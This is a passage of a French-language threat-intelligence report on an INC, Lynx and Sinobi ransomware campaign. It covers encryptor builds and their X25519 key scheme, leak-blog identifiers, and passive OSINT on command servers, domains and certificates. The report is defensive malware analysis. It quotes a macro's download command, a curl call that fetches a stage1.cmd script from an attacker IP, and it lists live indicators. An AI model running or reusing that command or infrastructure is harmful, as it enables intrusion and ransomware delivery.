Trois des six builds Windows personnalisés correspondent donc à trois lots Linux et ESXi complets, avec la même clé publique et le même horodatage. C'est un indice de trois cibles visées sur plusieurs systèmes, sans que l'on sache s'il s'agit de trois victimes distinctes. L'article liste ces trois lots (« kit 1 » à « kit 3 », Windows et Linux) et trois autres builds Windows sans équivalent Linux, étiquetés A à C, qui sont ffca6aa9, 0ae4447d et 14b711bd. L'identifiant de 24 caractères suit le format d'un ObjectId MongoDB (voir la sous-section Identifiant de victime et blog de fuite, plus bas) : horodatage Unix (8 caractères), valeur aléatoire propre au processus générateur (9cd108bf26) et compteur (614b0d, 6171a6, 61b1cb) qui croît avec l'heure de fabrication. Les builds PowerPC ne contiennent pas cet identifiant en clair, seulement la clé. L'extension INC précède immédiatement la clé base64 dans les 39 binaires (recherche de chaîne sur chaque fichier, sans décompilation individuelle), et le nom de la note INC-README.txt figure en clair dans les builds ESXi, aarch64, ARM 32 bits (eabi et eabihf), riscv64, s390x et sparc64. Il est construit par des constantes immédiates dans les builds x86_64 gnu et musl, et la recherche de chaîne ne le retrouve pas dans les builds armv7 et PowerPC.

La fonction qui référence la clé dans le build x86_64 gnu fait quatre choses : elle tire 32 octets aléatoires, applique le masquage de scalaire Curve25519 (& 0xf8 sur le premier octet, & 0x3f | 0x40 sur le dernier), calcule la clé publique éphémère correspondante, puis décode la chaîne base64 de 0x2c caractères et exige 32 octets. C'est un échange de clés X25519 avec une clé éphémère par exécution et une clé publique fixe de l'opérateur par victime. Seul le détenteur de la clé privée associée peut reconstituer la clé de fichier. En pratique, chacune de ces trois clés publiques correspond à une cible, et une saisie de la clé privée correspondante permettrait de produire un déchiffreur.

Interface en ligne de commande

Les chaînes d'aide du build Windows décrivent une interface en ligne de commande avec un mode de chiffrement (fast, medium, slow), une liste de fichiers à chiffrer et l'arrêt des processus qui utilisent un fichier, ce qui rapproche son paramétrage de celui du chiffreur Sinobi décrit plus bas. Le mode de chiffrement n'est pas un paramètre patché dans ces 39 binaires : les chaînes d'aide montrent des options de ligne de commande, désignées par leurs identifiants directory, file, mode (fast, medium ou slow), motd (remplacer le message du jour par la note de rançon), esxi (arrêter les machines virtuelles), skip (en exclure par identifiant), daemon (se détacher d'une session SSH) et delay (différer le chiffrement de N minutes). Seule la configuration est patchée (clé, identifiant et note de rançon). Les noms de ces options sont des identifiants relevés dans les chaînes d'aide, pas des drapeaux vérifiés par exécution.

La note de rançon est stockée en base64 dans les 39 binaires et elle est identique octet pour octet dans les trois lots (3 428 caractères, titre INC Ransom). Elle donne :

Le texte menace de nouvelles attaques en cas de refus, dissuade de contacter la police et le FBI, et affirme que les assureurs cyber sont ciblés pour récupérer leurs informations. Je n'ai visité aucune de ces adresses. Le domaine incblog.su ne résout plus (NXDOMAIN) et le registre .su n'a aucune entrée à la date du 2026-10-23. Les archives web le montrent actif de juin 2024 à avril 2025. La note renvoie donc à un miroir clair disparu, ce qui suggère un modèle de note ancien réutilisé. Les autres miroirs relevés (incapt.su, incapt.blog, incbackend.top) ne résolvent pas non plus.

Identifiant de victime et blog de fuite

Les identifiants de 24 caractères hexadécimaux ont la structure d'un ObjectId MongoDB (ou d'une bibliothèque qui en reprend le format) : horodatage Unix sur 4 octets, valeur aléatoire de 5 octets tirée une seule fois par processus générateur, compteur de 3 octets. Le compteur des trois lots de 2026 croît avec l'horodatage de façon cohérente : 9 881 identifiants générés en 314 secondes entre kit2 et kit1, 16 421 en 574 secondes entre kit1 et kit3, soit environ 30 identifiants par seconde par le même processus.

Le blog de fuite INC, relevé le 2026-10-24 par l'agrégateur public ransomlook, compte 967 publications dont 870 ont un lien qui porte un identifiant de ce format. Ces publications se regroupent en 25 valeurs aléatoires distinctes entre 2024-04-17 et 2026-10-21 (osint/inc_objectid_process_values.csv), c'est-à-dire 25 instances successives du processus (redéploiements ou redémarrages) de durées très inégales. La dernière, 9cd108bf26, apparaît dès le 2026-08-02 et porte 97 publications jusqu'au 2026-10-21. Les identifiants des 23 encrypteurs INC historiques, des 15 Lynx et du Sinobi analysés (historique ci-dessous) portent tous une valeur aléatoire présente sur le blog de leur propre marque (INC 23 sur 23, Lynx 15 sur 15, Sinobi 1 sur 1), et les trois lots de 2026 portent celle de l'instance INC actuelle. Le générateur de kits et le blog de fuite sont donc le même logiciel, déployé en une instance par marque, ce qui précise le « générateur partagé » constaté plus bas. Une capture Wayback du miroir clair incblog.su (2025-04-09) montre une page de publication dont le lien porte déjà ce format, avec la valeur aléatoire de l'instance de janvier et février 2025.

Les identifiants de publication sont créés au moment de la publication (médiane de 0 jour entre l'horodatage de l'identifiant et la découverte par l'agrégateur) : ils ne coïncident pas avec ceux des kits, et aucun des trois identifiants de kit de 2026 n'apparaît sur le blog au 2026-10-22. On ne peut donc pas relier un kit à une victime publiée par cette voie, mais on peut dater la fabrication d'un kit et le rattacher à une instance, sans contact avec l'opérateur. Le blog compte 39 publications entre le 2026-09-20 et le 2026-10-22 (noms de victimes dans le dossier restreint), dont cinq le 2026-10-01 et sept le 2026-10-07. Aucun lien n'est établi entre ces victimes et les trois lots.

Historique des kits INC, Lynx et Sinobi

J'ai téléchargé et lu, sans les exécuter, 54 autres hachages étiquetés INC sur MalwareBazaar (osint/inc_candidates_analysis.md). Ce n'est pas le lot de 2026 : on y trouve 23 encrypteurs INC en C++, 3 en Rust, 15 Lynx, un Sinobi, un déchiffreur INC 2.0 et quelques fichiers sans rapport, l'étiquette du déposant étant souvent fausse. Tous les encrypteurs patchés partagent la forme des champs du lot de 2026 : une clé publique base64 de 44 caractères propre à la victime, un identifiant de 24 caractères au format ObjectId (horodatage Unix, valeur aléatoire de 5 octets stable pendant la vie d'un processus, compteur de 3 octets) et une note de rançon en base64. Cette forme commune à INC, Lynx et Sinobi indique un générateur de kits partagé. Elle est observée depuis avril 2024.

Les builds Rust de juillet 2025 emploient déjà le miroir incblog.su que la note du lot de 2026 cite encore, ce qui date l'origine de cette note d'au moins l'été 2025. Les notes Lynx et Sinobi ajoutent des miroirs (lynxr.blog, lynxr.help, lynxblog.net, blog.sinobi.us.org) et chacune une quinzaine d'onions, repris dans iocs.csv. Aucune note ne contient de portefeuille. J'ai établi le rôle de la clé dans les builds C++ par décompilation de l'ELF (32 octets aléatoires, masquage de scalaire Curve25519, clé publique éphémère, secret partagé avec la clé base64 décodée de la victime) et par un motif identique dans le PE 32 bits, dont la routine de multiplication n'a pas été relue en détail. Le champ est donc la clé publique X25519 de l'opérateur, comme dans les builds Rust. Le schéma de chiffrement par fichier de ces encrypteurs ELF C++ est, d'après la décompilation : une clé X25519 éphémère par fichier, un secret partagé avec la clé publique de l'opérateur haché par une fonction de la famille SHA-2, puis de l'AES-128 en mode CTR par blocs de 1 000 000 octets, avec un trailer de 80 octets contenant la clé publique éphémère et l'extension (.INC). Seul le détenteur de la clé privée de l'opérateur peut recalculer le secret partagé : je n'ai trouvé aucune faiblesse exploitable pour le déchiffrement.

J'ai comparé les chaînes imprimables (huit caractères et plus) : deux lignées de code en ressortent. Le PE 32 bits INC de 2024 et le chiffreur Lynx de décembre 2024 partagent 274 chaînes, soit 47 % de leur union : c'est très probablement un même code source. Les encrypteurs Rust de 2026 ne partagent qu'environ 5 % de leurs chaînes avec eux pour le build Windows (aucune chaîne en commun pour le build Linux) et 2 % entre eux (les chaînes propres à la plateforme dominent) : c'est une réécriture, qui garde les mêmes modes fast, medium et slow, le mode sans échec et le marqueur %id%. Le générateur de kits est donc commun aux deux lignées pour les champs patchés, mais le code de chiffrement a été réécrit. La mesure porte sur des chaînes, pas sur des fonctions, et ne remplace pas une comparaison de graphes d'appel. Les chiffreurs Lynx d'un même modèle gardent aussi une date de compilation commune (2024-12-21 11:37:45) avec des identifiants de victime étalés du 2025-01-07 au 2025-02-02, comme le modèle Windows de 2026 patché le 2026-09-30.

Trois fichiers fermés complètent cet historique. Un extracteur IExpress de 4 210 688 octets imite l'installateur « WinRaR Setup Wizard » (avec la faute) : il lance d'abord l'installateur authentique de WinRAR 7.13 comme leurre, puis deux extracteurs imbriqués, jusqu'à un chiffreur Lynx 32 bits compressé par UPX et nommé WerFault.exe. Ce chiffreur date d'octobre 2024 et a été reconditionné en août 2025. Sa clé est tjCShFODz0YforRLcNTbLGIwGsEkdxSVfZ4XZ0eWHQk= (identifiant 6723491ddab69e0ba2b5ead7, horodaté 2024-10-31) et sa note reprend 14 onions déjà connus. Le chiffreur Sinobi d4919a74 porte la clé Il2uG3L5S9oCrKxvozNzWSynv8ZWxN09+9w8aLpAhBE= (identifiant 68676f1e88b6823fa29f32cb, horodaté 2025-07-04), placée juste après la note de rançon, ce qui explique qu'elle ait échappé à la première lecture. Avec ces deux clés, la lignée compte 43 clés distinctes. Enfin, l'archive chiffrée du lot de candidats s'ouvre avec le mot de passe infected et ne contient rien d'INC : c'est un outil d'administration à distance chinois (chemin de débogage PcServer\Release\PCS.pdb) signé par un certificat EV SSL.com émis à une société tierce, à signaler à l'autorité de certification pour révocation (numéro de série 3C16154E4D7DE3DCE12A0030A213491F, identité dans le fichier restreint).

Le chiffreur Lynx emballé dans l'extracteur IExpress ajoute l'extension .lynx, dépose une note README.txt dans chaque répertoire et une image de fond d'écran background-image.jpg. Il propose quatre modes de chiffrement partiel (--mode fast|medium|slow|entire, soit 5 %, 15 % par défaut, 25 % et 100 % de chaque fichier) et des options pour arrêter des processus, entrer en mode sans échec, monter les volumes cachés et chiffrer les partages réseau. Chaque fichier chiffré reçoit en fin de contenu un enregistrement de 116 octets (appel WriteFile de 0x74 octets) dont l'ordre des champs se lit dans la fonction d'écriture : 32 octets puis 64 octets de matériel de clé, un champ de 8 octets, le marqueur LYNX (8 octets avec bourrage) et la taille de bloc 1 000 000 en dernier champ de 4 octets (disposition déduite de l'ordre des variables locales, à confirmer au désassemblage) ; la valeur du mode intervient dans le calcul des positions des blocs mais ne semble pas faire partie de ces 116 octets ; à l'ouverture, le chiffreur compare quatre octets du pied de fichier à LYNX pour ignorer les fichiers déjà traités. Le chiffrement est un flux XOR avec un compteur de 16 octets incrémenté en gros-boutiste (mode CTR), comme dans les builds INC C++, et le nom reçoit l'extension .LYNX (la comparaison d'extension se fait avec .lynx). Il ignore notamment les répertoires windows, program files, appdata, microsoft sql server, mongodb et postgresql, et cible les processus et services dont le nom contient sql, veeam, backup, exchange, java ou notepad.

9. Infrastructure et OSINT passif

Adresses IP

L'article ne mentionne pas 138.124.123.56 : l'adresse sort de l'agent mcp-agent, et son bloc a le même détenteur que le serveur RevSocks. Seule 77.110.109.248 figure dans ThreatFox (entrée du 2026-10-21 sans famille associée). 89.185.83.8 n'est dans aucun flux abuse.ch.

Domaines

Trois choses en ressortent :

• Même compte Cloudflare. Cloudflare attribue une paire de serveurs de noms par compte. Cinq domaines partagent la paire coco et remy, ce qui est un indice de rattachement à un même compte (confiance moyenne : les paires sont tirées dans un ensemble limité et partagées par de nombreux comptes). Seul Cloudflare peut le confirmer. Ces cinq mêmes domaines (system-strategy.org, iquickline.com, mcgrawney.com, driverupdate.app, stackpathcloud.com) sont aussi enregistrés chez Cloudflare Registrar d'après le RDAP, qui détient alors les données d'enregistrement et de paiement ; cloud-update.live est chez Namecheap et bossprotect.com chez NiceNIC.
• Enregistrements groupés. iquickline.com et mcgrawney.com ont été enregistrés à 77 secondes d'écart.
• Domaines anciens réenregistrés. system-strategy.org, mcgrawney.com et cloud-update.live ont un historique de certificats qui précède leur date d'enregistrement actuelle de plusieurs années. L'interprétation la plus simple est une récupération après expiration, pratique qui hérite de l'ancienneté du nom. C'est une inférence, non une preuve.

Un huitième domaine, trulitesupport.com, figure dans la liste saisie par le rapporteur dans ThreatFox et dans l'article, qui le décrit comme une page factice d'avis aux clients, mais dans aucun échantillon du lot. Il n'a aucun certificat dans les journaux de transparence, mais le hub de livraison 45.227.254.45 présente un certificat à ce nom (§10), et le domaine a été créé le 2026-09-09 chez Tucows.

10. Pivots OSINT complémentaires

Tout ce qui suit vient de sources publiques, interrogées sans contact avec l'opérateur : RIPEstat, RDAP, résolveur DNS public, urlscan.io, Wayback Machine, crt.sh, abuse.ch, Shodan InternetDB, AlienVault OTX, VirusTotal, Triage, ransomlook et recherches web.

Les domaines sont d'anciens domaines réenregistrés

Les anciens propriétaires de ces noms ne sont pas impliqués. Le cas de system-strategy.org est net : un site légitime archivé par Wayback jusqu'au 2026-01-17 (certificats renouvelés jusqu'en février 2026), un nom laissé expirer, un réenregistrement le 2026-05-02, puis une page de leurre. L'opérateur récupère des noms qui ont de l'ancienneté et un historique de certificats. La page de leurre imite une plateforme de distribution de contenu connue ; stackpathcloud.com reprend aussi le nom de cette marque sans lien avec elle, un abus de marque à signaler à son titulaire.

Un même système autonome pour trois serveurs

AS209272 n'annonce que six plages /24 : 185.55.242.0, 88.214.27.0, 89.185.83.0, 45.227.253.0, 91.199.163.0 et 179.60.149.0. Trois des six portent de l'infrastructure de la campagne. Ce regroupement n'est pas dans l'article. 91.199.163.67 appartient à un bloc 91.199.163.0 à .100 enregistré le 2026-02-19, quatre mois avant bossprotect.com, avec un maître lituanien et un contact d'abus Digi Cloud. C'est une adresse nouvelle, absente de tous les flux publics consultés. Les plages 138.124.123.0/24 et 77.110.109.0/24 (RevSocks, mcp-agent) appartiennent à AS203273, NetCrafters OU, qui annonce 175 plages.

Cloudflare et origine réelle

Au relevé du 2026-10-22, quatre domaines sur sept résolvent vers des adresses Cloudflare (system-strategy.org, iquickline.com, mcgrawney.com, cloud-update.live). driverupdate.app et stackpathcloud.com n'ont aucun enregistrement A, et bossprotect.com résout vers 91.199.163.67 dans l'AS209272. L'origine reste masquée pour les domaines de C2 qui passent par Cloudflare. Le Meterpreter, lui, se connecte directement à 89.185.83.8 en forçant l'en-tête Host: api.system-strategy.org. L'hypothèse la plus simple est que cette adresse est l'origine que Cloudflare protège pour ce nom. Un indice va dans ce sens : l'index passif Shodan InternetDB associe le nom d'hôte system-strategy.org à 89.185.83.8 (ports 22, 443 et 4443, nginx 1.24.0, OpenSSH 9.6p1). Cela corrobore l'hypothèse sans la prouver, et seul Cloudflare peut la confirmer. VirusTotal ajoute que 89.185.83.8 présente un « Cloudflare Origin Certificate », émis seulement pour un serveur d'origine placé derrière Cloudflare : l'hypothèse devient un constat, le rattachement au compte restant à confirmer par Cloudflare.

DNS passif et fichiers associés (VirusTotal)

J'ai interrogé l'API VirusTotal en lecture seule (palier gratuit, 4 requêtes par minute) le 2026-10-24 sur 14 noms de domaine et 11 adresses de la campagne, puis sur les adresses et pistes qui en sortent : résolutions passives, fichiers qui contactent la cible, sous-domaines, certificats TLS et empreintes JARM. Je n'ai rien soumis ni fait analyser, et l'infrastructure n'a pas été contactée. Le tableau des 68 fichiers vus hors du lot est dans osint/vt_hors_lot.csv.

Antériorité de la boîte à outils. Les fichiers hors lot qui contactent l'infrastructure remontent bien avant juillet :

Le point d'accès /api/v2/update, le nom agent_sc.enc et le port 8443 précèdent donc le lot de plusieurs mois, et l'URL de rappel Meterpreter vers 89.185.83.8 existait dès le 2026-06-05, cinq semaines avant Ghost_loader. Le lot déposé le 2026-10-20 montre la partie la plus récente d'une activité en cours depuis au moins le 2026-05-02, ce qui est plus tôt que le « mi-juillet » de l'article.

Résolutions passives. 138.124.123.56 a servi 32 noms de 13rzip.ru entre le 2026-08-27 et le 2026-10-17, soit plus que les 21 des journaux de transparence : deux marques tierces sont imitées (la seconde apparaît le 2026-10-12 avec trois noms, et six noms d'une même branche du premier jeu le 2026-10-17). Les noms d'hôte complets sont dans iocs.csv, ce sont des indicateurs ; je ne nomme pas les marques dans le texte. Aucune résolution n'est connue pour 89.185.83.8, 141.98.83.180, 138.124.113.210, 45.227.254.43 et .84. 45.227.254.45 et 179.60.149.68 n'ont qu'une résolution vers des noms de services de DNS joker (45.227.254.45.sslip.io et 179-60-149-68.nip.io, le 2026-10-20) pour lesquels les journaux de transparence n'ont aucun certificat. 77.110.109.248 n'a qu'une résolution (2025-07-04, un domaine tiers, probablement un ancien locataire). Les domaines sont derrière Cloudflare depuis août 2026, et leurs historiques plus anciens correspondent à d'anciens propriétaires, par exemple system-strategy.org sur 195.216.243.x jusqu'en 2019. bossprotect.com résout vers 91.199.163.67 depuis le 2026-06-27. Le domaine api-hcaptcha.com, créé le 2026-03-20, a résolu vers la même adresse le jour de sa création et présente le même certificat, ce qui en fait la plus ancienne résolution connue liée à la campagne pour cette adresse (son bloc a été enregistré le 2026-02-19, et les noms antérieurs, de 2021 et 2025, sont ceux d'anciens locataires). Le nom imite un service de captcha : c'est compatible avec un leurre de fausse vérification, sans fichier associé, donc à titre d'hypothèse. Un exécutable de 2,2 Mo (jr9hq1.exe) contacte 91.199.163.67, mais parmi 40 adresses dont des nœuds publics d'amorçage du réseau Tox : ce lien n'est pas retenu.

Certificats et JARM. 89.185.83.8 présente un certificat Cloudflare Origin (voir plus haut). Le hub 45.227.254.45 présente un certificat au nom de trulitesupport.com émis par une autorité du même nom, ce qui le relie au domaine du leurre client. 77.110.109.248 présente un certificat microsoft.com, 179.60.149.68 un certificat dont l'émetteur est update.microsoft.com, 141.98.83.180 un certificat localhost et 23.132.164.199 un certificat *, dont trois sont marqués auto-signés par VirusTotal. Les empreintes JARM sont identiques pour 89.185.83.8, 141.98.83.180 et 77.110.109.248 (2ad2ad0002ad2ad00042), et pour 45.227.254.45 et 23.132.164.199 (21d19d00021d21d00042) : ce sont des piles courantes, qui n'identifient rien seules mais servent de pivot combinées au sujet du certificat. Des sous-domaines nouveaux ressortent : update.system-strategy.org (résolu vers Cloudflare le 2026-10-20), api.driverupdate.app, mail.bossprotect.com, mail, mail2, store et demo sous mcgrawney.com, et cdn, ns1 à ns3 et postmaster sous iquickline.com.

Hébergement de mondeikin.com. Le domaine a résolu vers sept adresses entre le 2026-07-15 et le 2026-10-20 (64.89.160.3, 64.89.161.147, 95.141.41.25, 46.151.182.21, 196.251.121.133, 196.251.121.243, 23.132.164.199), soit un changement tous les quinze jours environ. Ces adresses hébergent des dizaines de domaines d'hameçonnage bancaire et de faux sites, et 56 fichiers d'autres familles (documents piégés, ConnectWise, Formbook) les contactent : c'est un hébergement partagé par des acteurs sans rapport, et les deux scripts PowerShell sleestak_payload_1.ps1 qui contactent 23.132.164.199 n'ont pas de lien avec la campagne. J'ai regardé une piste : inc-group.org (sous-domaines backend et fs2) apparaît sur deux de ces adresses en septembre et octobre. Le domaine a été enregistré le 2026-05-29 chez Key-Systems avec une autre paire de serveurs de noms Cloudflare que celle des domaines de la campagne et aucun fichier ne lui est associé : je le tiens pour une homonymie, sans élément contraire.

Rapports Triage et captures réseau

Les 114 échantillons du lot ont tous au moins une exécution publique sur Triage (141 rapports au total, plus une exécution de audio.exe, l'agent MeshAgent hors lot vu plus haut). Je les ai lus avec l'API de mon compte, en lecture seule, et j'ai analysé hors ligne les captures réseau de onze échantillons, à raison de deux exécutions chacun (outil tools/triage_pull.py ; rapports et captures conservés hors paquet). Ce que j'en retiens :

• Modèle Word. La macro s'exécute dans le bac à sable : Word lance cmd.exe /c curl.exe -sk -o %TEMP%\u.cmd http://45.227.254.45:8000/scripts/stage1.cmd, exactement comme dans la macro statique, et le parent de cmd.exe est wmiprvse.exe, ce qui confirme la création du processus par WMI. Le hub ne répond pas : cinq paquets SYN en 15 secondes, aucun SYN-ACK. stage1.cmd reste donc hors d'atteinte.
• Cradle PowerShell. La requête GET /api/v2/update part, mais aucune charge exploitable n'est reçue : les régions mémoire extraites sont des bibliothèques légitimes (System.Numerics). Le script compile par csc.exe une classe C# AB qui importe des fonctions de kernel32, ce qui confirme le comportement décrit au §3.
• Chargeurs et injecteurs RevSocks de juillet. Dans la première machine d'essai (TLS 1.2), le client ferme la connexion après avoir reçu le certificat du serveur (158 octets envoyés, soit son seul message d'ouverture), ce qui est compatible avec un rejet du certificat auto-signé. Dans la seconde (TLS 1.3), le client n'envoie rien après le premier message du serveur (417 octets envoyés, soit son seul message d'ouverture) et abandonne de la même façon. Aucun octet de agent.enc ni de agent_sc.enc n'a donc circulé dans ces exécutions, ce qui ferme la piste des charges par Triage.
• Agent v4 90fe2b57. Il termine la poignée de main TLS avec 141.98.83.180 en acceptant le certificat auto-signé, mais le serveur n'envoie jamais le défi de 32 octets pendant les 150 secondes de l'exécution : le service de tunnel ne répondait pas à ce moment.
• Certificats des serveurs RevSocks. Lus dans les poignées de main en clair : 77.110.109.248 présente un certificat RSA 2048 auto-signé CN=microsoft.com, valide du 2026-06-04 05:52:37 au 2036-06-01 (empreinte SHA-256 004cc505...a995e3), créé le jour de la compilation de deux chargeurs TLS (08:44 et 11:15), alors que les chargeurs du 2026-05-15 récupéraient encore leur charge en HTTP clair sur le port 8443, ce qui situe le passage au TLS début juin ; 141.98.83.180 présente un certificat RSA 2048 auto-signé CN=localhost, valide du 2026-09-14 08:13:37 au 2036-09-11 (empreinte bf9d9790...e01b1), huit jours avant la compilation des injecteurs de septembre. Les dates de début de validité datent la mise en service de chaque serveur.
• Ghost HTTPS (G6B77FE12). Un POST sur /api/v3/be13a10b476f puis cinq sur un second chemin, /api/v3/5347872286bc, que le décodage statique n'avait pas relevé (probablement le chemin de récupération des tâches ou d'envoi des résultats).
• Ghost Telegram. Les deux générations envoient un sendMessage puis interrogent getUpdates quatre ou cinq fois. Triage affiche l'URL complète, jeton du bot compris, dans ses rapports publics : les jetons des deux bots (identifiants 8942393139 et 8986910514, identiques à ceux décodés par émulation) sont donc lisibles par n'importe qui sur le site. Je les ai masqués dans mes copies. Le signalement à Telegram en devient plus urgent : des tiers ont pu s'en servir.
• Agent Athena (QuickLine). Les requêtes GET /index?q=... portent en base64 l'identifiant de charge 1b1270ff-... suivi d'un message chiffré, ce qui confirme le profil HTTP et l'identifiant relevés statiquement.
• mcp-agent. Quarante-trois et quarante-cinq connexions TLS 1.3 vers 138.124.123.56:8443 en deux exécutions : le certificat n'est pas visible en TLS 1.3.
• Ghost_loader. 372 et 301 connexions vers 89.185.83.8 (2 170 et 1 780 requêtes GET), toutes en réponse 502 : cohérent avec ce qui précède.

Pistes sans résultat

• GitHub. Une recherche de code en lecture seule (20 requêtes, journal dans osint/github_search.md) ne trouve aucun dépôt de l'opérateur : les chaînes spécifiques (13rzip.ru, chacha20_tunnel_v3_, rks3/cmd/agent, mutex, chemin de compilation de rks3) donnent zéro résultat. Les adresses et domaines ne ressortent que dans des listes de blocage de défenseurs, dont une liste publique qui indique des ports supplémentaires, repris dans iocs.csv. Le chemin runneradmin n'identifie aucun dépôt : seul GitHub peut relier un exécuteur à un compte.
• Telegram. Sans appel à l'API, seuls les identifiants numériques des deux bots (8942393139 et 8986910514) et celui de la conversation commune (8809711703) sont connus. Les résoudre en nom d'utilisateur exige d'utiliser le jeton, ce qui est de l'accès non autorisé. Le signalement à Telegram est la voie prévue.
• Pivots par imphash et TLSH. Les imphashs de la campagne sont génériques (Go, Rust, MinGW) et ne ramènent que des logiciels voleurs d'identifiants sans rapport. L'interrogation de MalwareBazaar par TLSH des 114 fichiers (correspondance exacte seulement, l'API n'offre pas de recherche de similarité) ne retourne aucun fichier hors du lot. Aucun échantillon supplémentaire n'en sort.
• Charges agent.enc, agent_sc.enc, stage1.cmd et réponse de /api/v2/update. Même avec l'accès complet aux rapports et aux captures Triage, aucune de ces charges n'a circulé pendant les exécutions publiques (certificat apparemment rejeté par le client, serveur muet ou injoignable). Leur contenu reste inconnu.
• Pivots par contenu de page. Une recherche urlscan.io sur le titre de la fausse page « StackPath - Edge Services » ne retourne que les trois scans de system-strategy.org (deux adresses Cloudflare), et celle sur le titre « Sign in Payroll Portal » que les deux sous-domaines de 13rzip.ru déjà connus. Aucun domaine frère n'en sort. Les résultats détaillés (empreinte du corps de la page) exigent un compte.
• ThreatFox et URLhaus. Aucune entrée pour 89.185.83.8, 138.124.123.56, 91.199.163.67 ni api.system-strategy.org.

Hameçonnage sur l'adresse du C2 Phantom

Deux scans urlscan.io du 2026-10-19 montrent des pages de connexion Microsoft factices (titre « Sign in Payroll Portal ») servies par 138.124.123.56, l'adresse du C2 mcp-agent, sous des sous-domaines de 13rzip.ru. Ce domaine est enregistré depuis le 2026-08-26 chez FE-RU (registre .ru), avec les serveurs de noms d'Aeza. Les journaux de transparence listent 39 certificats distincts (66 entrées de journal) Let's Encrypt émis du 2026-08-27 au 2026-10-08 pour 21 noms, au relevé du 2026-10-23, dont des imitations de services Microsoft (par exemple un nom autologon.microsoft.onedrive). Les noms testés résolvent vers la même adresse. Sur les 21 noms, 15 sont construits sur la marque d'une organisation tierce, 4 imitent Microsoft OneDrive et 2 sont à la racine du domaine ; le DNS passif de VirusTotal ajoute 11 noms et une seconde marque imitée (voir plus haut). Je ne nomme pas ces organisations dans le texte, mais les noms d'hôte complets sont dans iocs.csv : ce sont les indicateurs à bloquer, les tronquer les rendrait inutiles. Le lien avec la campagne repose sur l'adresse commune seule (confiance moyenne) : une IP peut changer de locataire. L'enregistrement du domaine, le 2026-08-26, tombe dans la période de développement de la boîte à outils (builds datés de juillet à septembre 2026). Les réponses urlscan ne sont pas archivées à l'état brut, seule leur transcription figure dans osint/pivots_log.md. Signalements pertinents : NetCrafters pour l'adresse, le registrar du domaine .ru, Microsoft pour l'usage de sa marque.

Couverture publique par ThreatFox

Le rapporteur SOCRadarSTRU a saisi le 2026-10-20 les 114 hachages du lot, huit domaines et plusieurs adresses onion. Les adresses IP de la campagne n'y figurent pas, hormis 77.110.109.248:443 ajoutée le 2026-10-21 par abuse.ch. La soumission préparée se limite donc aux IP absentes et à deux sous-domaines. ThreatFox contient aussi des indicateurs que ce dossier n'avait pas relevés, repris dans iocs.csv : trois adresses onion INC, karabas.corp, chat.mondeikin.com et ghost-relay.stk-cdn-07.workers.dev, tous saisis le 2026-10-20 comme serveurs de commande sans famille associée.

J'ai examiné ces trois derniers passivement. chat.mondeikin.com dépend de mondeikin.com, enregistré le 2026-07-15 à 18:34 UTC chez NiceNIC (le registraire de bossprotect.com, ce qui est un indice faible vu sa taille), avec les serveurs de noms NS1.ERANS.RU et NS2.ERANS.RU et un certificat joker Let's Encrypt émis le jour même, 55 minutes avant l'horodatage d'enregistrement du RDAP (inscription antérieure ou décalage du registre, non tranché). Au 2026-10-24 le domaine résout vers 23.132.164.199, dans un bloc TENGIG-NET (Netiface America, AS401626, hébergeur 10GIG.HOST à Zurich) enregistré le 2026-09-12, soit près de deux mois après le domaine : l'adresse actuelle n'est donc pas l'hébergement d'origine. Cette adresse porte aussi plusieurs domaines au profil d'hameçonnage ou de télémétrie d'après urlscan.io, ce qui évoque un hébergement partagé sans lien établi avec la campagne. ghost-relay.stk-cdn-07.workers.dev est un sous-domaine Cloudflare Workers dont le certificat joker *.stk-cdn-07.workers.dev date du 2026-08-02 ; il résout encore vers des adresses Cloudflare, mais le certificat joker masque les autres sous-domaines et seul Cloudflare peut relier le compte à une identité. karabas.corp utilise un suffixe .corp qui n'est pas délégué : le nom ne se résout pas publiquement et n'a aucun certificat, c'est vraisemblablement un nom interne ou de laboratoire.

Un encrypteur ESXi antérieur au lot

MalwareBazaar contient 86d04474459f2b0df01eb59e37e26a0c5eff5c48b359fb662bf0ea513f0f7d13, un ELF ESXi de 870 920 octets, vu pour la première fois le 2026-09-18. Je l'ai téléchargé et comparé à un build ESXi du lot : 67 octets diffèrent, soit une clé publique X25519 (9vrlSsDq1UH/iezZh/nkgSBQjKSqcwWmZpY1lMI1DDw=) et un champ identifiant rempli de 24 caractères X (placeholder ou anonymisation par le déposant, le nom du fichier contenant « REDACTED »). Cette clé n'appartient à aucun des trois lots : c'est une victime ou un essai distinct, antérieur de douze jours. D'autres kits ESXi INC du même nom circulent depuis 2025-08-05, ce qui date le modèle ESXi d'au moins un an avant la campagne. Les 54 autres hachages étiquetés INC sont traités dans l'historique du §8.

Hébergement et leviers d'identification

Shodan InternetDB signale sur plusieurs de ces adresses des services d'administration exposés et sur 77.110.109.248 un répertoire ouvert sur le port 8080. Je n'ai pas visité ce répertoire et je ne retiens pas les listes de vulnérabilités déduites de bannières. Pour 141.98.83.180, une recherche urlscan.io sur la fenêtre des 30 derniers jours ne retourne aucun résultat et ni ThreatFox ni URLhaus n'ont d'entrée (la Wayback Machine était hors ligne au moment du contrôle). L'adresse n'était pas pour autant inconnue : AlienVault OTX la liste dans une liste de blocage créée le 2025-01-23 et dans une liste de force brute SSH et RDP issue d'un honeypot créée le 2026-06-28, soit avant son usage par RevSocks. L'origine de ces signalements (ancien locataire de l'adresse ou même opérateur) n'est pas établie. Les analyses publiques de Triage du 2026-10-20 montrent les injecteurs de septembre et l'agent v4 90fe2b57 ouvrant une session TLS vers cette adresse sur le port 443, ce qui corrobore l'adresse extraite du XOR 0xcb. La même source montre Ghost_loader envoyant plus de 2 000 requêtes GET en 150 secondes vers 89.185.83.8 avec l'en-tête Host: api.system-strategy.org : chacune reçoit une réponse 502 de 568 octets du frontal nginx/1.24.0 (Ubuntu), ce qui indique que le service en amont était indisponible à ce moment. Les empreintes JA3S des deux serveurs sont identiques mais correspondent à une pile nginx courante, donc sans valeur d'identification. Les tiers qui détiennent de quoi identifier l'opérateur sont Telegram (compte 8809711703), Cloudflare (compte DNS et registrar), les cinq hébergeurs, DigiCert (demandes d'horodatage des certificats SysTool), FE-RU et les registrars. Sans résultat : aucune mention publique des identifiants Telegram, aucune recherche inverse publique par serveur de noms Cloudflare, aucun dépôt GitHub lié (recherche de code en lecture seule, voir Pistes sans résultat), aucune entrée URLhaus, des empreintes de fichiers génériques.

Contexte public

